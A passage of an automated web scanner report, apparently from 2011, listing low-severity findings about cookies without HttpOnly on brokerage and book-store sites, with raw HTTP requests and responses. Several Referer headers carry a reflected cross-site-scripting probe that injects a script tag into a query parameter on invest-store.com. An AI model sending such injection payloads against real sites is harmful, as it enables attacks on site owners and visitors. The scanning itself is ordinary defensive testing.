Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: Conversion=CoQBQ0ZWN1JiaFpwVHQyQUxNYXppQUxUdWZ6R0NyR0Zqb01Db2N1WHZCemo1SlFHQ0FBUUFpZ0RVUHU1NDcwQllNbWVfb2JJb193YW9BR2Y2NnY5QThnQkFhb0VIMF9RZ2trVmVGNXcxMHVKZUgzNWgwYkE4eHZGSlFsTlV0TjNoY2N4dTNzEhMItIqrl7COqwIVZxtCCh3SXAq8GAEgjunghvK1h7oiSAE; expires=Sat, 08-Oct-2011 19:24:36 GMT; path=/pagead/conversion/1068168607/
Cache-Control: private
Location: http://pixel.everesttech.net/2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: AdClickServer
Content-Length: 0
X-XSS-Protection: 1; mode=block

10.78. http://www.interactivebrokers.co.uk/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.co.uk
Path:	/favicon.ico

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bcs0=Interactive+Brokers+-+Page+not+found%7C%252Fcontract_info654c3afc638f7c7b0e37c072%252Fv3.7%252Fjs%252FFormFilter.js; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com
bcs1=Home%7C%252F654c3afcd72edb10da5556a3%252Fmain.php; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com
bcs2=Interactive+Brokers+-+Page+not+found%7C%252Fen%252F654c3afce39f3917a0a7b060; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /favicon.ico HTTP/1.1
Host: www.interactivebrokers.co.uk
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=176986749.249226539.1315529945.1315529945.1315529945.1; __utmb=176986749.1.10.1315529945; __utmc=176986749; __utmz=176986749.1315529945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:58:29 GMT
Server: Apache
Accept-Ranges: bytes
Set-Cookie: bcs0=Interactive+Brokers+-+Page+not+found%7C%252Fcontract_info654c3afc638f7c7b0e37c072%252Fv3.7%252Fjs%252FFormFilter.js; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com
Set-Cookie: bcs1=Home%7C%252F654c3afcd72edb10da5556a3%252Fmain.php; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com
Set-Cookie: bcs2=Interactive+Brokers+-+Page+not+found%7C%252Fen%252F654c3afce39f3917a0a7b060; expires=Thu, 08-Sep-2011 20:58:29 GMT; path=/; domain=interactivebrokers.com
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 40379

<html>
<head>
<title>Interactive Brokers - Page not found</title>
<meta name="description" content="IB: Page Not Found">
<meta name="keywords" content="">
<meta http-equiv="X-UA-Compatible" conte
...[SNIP]...

10.79. http://www.interactivebrokers.com/mkt/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/mkt/index.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

web=1059283; expires=Tue, 06-Mar-2012 19:24:40 GMT; path=/; domain=.interactivebrokers.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.80. http://www.invest-store.com/images/button.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/button.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/button.gif HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 570
Content-Type: image/gif
Last-Modified: Tue, 30 Mar 2004 22:33:06 GMT
Accept-Ranges: bytes
ETag: "03d56f8a616c41:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

GIF89a3............tvp...fff....:79:7.vp.......XS.....~........~...VXS....................gb.+)++).IE........................fff......................................................................
...[SNIP]...

10.81. http://www.invest-store.com/images/go_button.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/go_button.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/go_button.gif HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 375
Content-Type: image/gif
Last-Modified: Tue, 30 Mar 2004 22:33:08 GMT
Accept-Ranges: bytes
ETag: "06a87f9a616c41:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

GIF89a...............fff....:7.gb........~.............IE......XS.......+)...fff.vp...................................................................................................................
...[SNIP]...

10.82. http://www.invest-store.com/images/mi_button.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/mi_button.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/mi_button.gif HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 420
Content-Type: image/gif
Last-Modified: Tue, 30 Mar 2004 22:33:08 GMT
Accept-Ranges: bytes
ETag: "06a87f9a616c41:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

GIF89a3..............~fff9:7.........HIE...fff........VXS++).....................tvp........................!.......,....3.......WQCi.h..,U.C.Xtm.x...t...pH.iH..ry..h..-P.0m...B......`I....`......7..
...[SNIP]...

10.83. http://www.invest-store.com/images/small/5197574.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/small/5197574.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/small/5197574.jpg HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 2405
Content-Type: image/jpeg
Last-Modified: Thu, 31 May 2007 23:26:11 GMT
Accept-Ranges: bytes
ETag: "524bd612dba3c71:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253551250107; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

......JFIF.....H.H......Exif..II*..............C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!22222222222222222222222222222222222222222222222222......Z.?.."......
...[SNIP]...

10.84. http://www.invest-store.com/images/small/8024.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/small/8024.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253551410123; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/small/8024.jpg HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 2303
Content-Type: image/jpeg
Last-Modified: Mon, 23 Feb 2004 16:00:58 GMT
Accept-Ranges: bytes
ETag: "48acef3926fac31:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253551410123; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

......JFIF.....,.,.....C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!22222222222222222222222222222222222222222222222222......Z.<.."..............................
...[SNIP]...

10.85. http://www.invest-store.com/images/small/9349587.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/small/9349587.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/small/9349587.jpg HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 2604
Content-Type: image/jpeg
Last-Modified: Wed, 07 Sep 2011 17:51:02 GMT
Accept-Ranges: bytes
ETag: "856d76b5866dcc1:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

......JFIF.............C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!22222222222222222222222222222222222222222222222222......Z.G.."..............................
...[SNIP]...

10.86. http://www.invest-store.com/images/spacer1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/images/spacer1.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/spacer1.gif HTTP/1.1
Host: www.invest-store.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E8d048951567

Response

HTTP/1.1 200 OK
Content-Length: 49
Content-Type: image/gif
Last-Modified: Tue, 16 May 2000 17:10:12 GMT
Accept-Ranges: bytes
ETag: "0f26d9859bfbf1:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Set-cookie: SaneID=50.23.123.106-20253554690451; path=/; expires=Thu, 08-Sep-16 20:01:09 GMT
Date: Thu, 08 Sep 2011 20:01:09 GMT

GIF89a...................!.......,........@..D..;

10.87. http://www.optionsxpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=04B1BF674AA82952BE73E0BB9321CE27; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.88. http://www.optionsxpress.com/404.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/404.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=5389B1BA4FEE5685909C00A038A8CFC8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /404.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.89. http://www.optionsxpress.com/about_us/awards_media.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/awards_media.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=320A610B4D68A51B3DD0EDA975F816D5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/awards_media.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.90. http://www.optionsxpress.com/about_us/contact_us.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/contact_us.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D94486F745F6D69F0A802998A11A2DA7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/contact_us.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.91. http://www.optionsxpress.com/about_us/faq.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/faq.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FDB057F449CCC1CA91E51FB7506FD090; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/faq.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.92. http://www.optionsxpress.com/about_us/pricing_commissions.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/pricing_commissions.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=3D1739C84DE61CD48C8F6B861E31DA2D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/pricing_commissions.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.93. http://www.optionsxpress.com/check_us_out/right_for_you.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/check_us_out/right_for_you.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=715ECFF14E81ECE5EAFEBAAFF695BBCC; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /check_us_out/right_for_you.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.94. http://www.optionsxpress.com/check_us_out/site_map.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/check_us_out/site_map.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D768A97844BACABDD1F614A652521D30; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /check_us_out/site_map.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.95. http://www.optionsxpress.com/corporate/about_us.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/corporate/about_us.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=327ED9384FEDA364E7B5AFB955A11898; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /corporate/about_us.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.96. http://www.optionsxpress.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D651080C4FB698B6CDD7B5BFFD951C11; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.97. http://www.optionsxpress.com/free_education/education_center.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/education_center.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=1CA0C870418D7340D8EA988105E71B36; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/education_center.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.98. http://www.optionsxpress.com/free_education/live_events/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/live_events/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FAD2A00E48BCF7D008C49D8DF9519925; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/live_events/ HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.99. http://www.optionsxpress.com/free_education/virtual_trade.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/virtual_trade.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=2D4996A44048187A4C198BA79D16B45B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/virtual_trade.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.100. http://www.optionsxpress.com/images/promo_static/ox.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_static/ox.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=31B1D3A64DF4DC0943400890177ABC2A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.101. http://www.optionsxpress.com/images/promo_unique/divider.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/divider.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=FB0DC0464C7379B04E0F409D15B5A47F; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.102. http://www.optionsxpress.com/images/promo_unique/live-help.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/live-help.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=57DCCA6044DEB5B2BAB532A38C7B950B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.103. http://www.optionsxpress.com/images/promo_unique/phone.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/phone.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=C58C6E0B422823B29D0E0DB0C88C0490; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.104. http://www.optionsxpress.com/images/promo_unique/shadow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/shadow.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=6B849C5246B01879A225D7A7A55F4F14; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.105. http://www.optionsxpress.com/images/promos/allInOne.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/allInOne.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=D3B637A04BE2D0951ABF23BB3474971D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.106. http://www.optionsxpress.com/images/promos/barronsBg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/barronsBg.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=5A39822A4290C06155A8A3BDE9F228C2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.107. http://www.optionsxpress.com/images/promos/chartC4c.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/chartC4c.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=C1BC06414DC1E382D0B7728327B6D440; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.108. http://www.optionsxpress.com/images/promos/footer1Logo11.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/footer1Logo11.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=44A373974F212A3FA1D871B5ECDA6C2D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=44A373974F212A3FA1D871B5ECDA6C2D; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:47 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

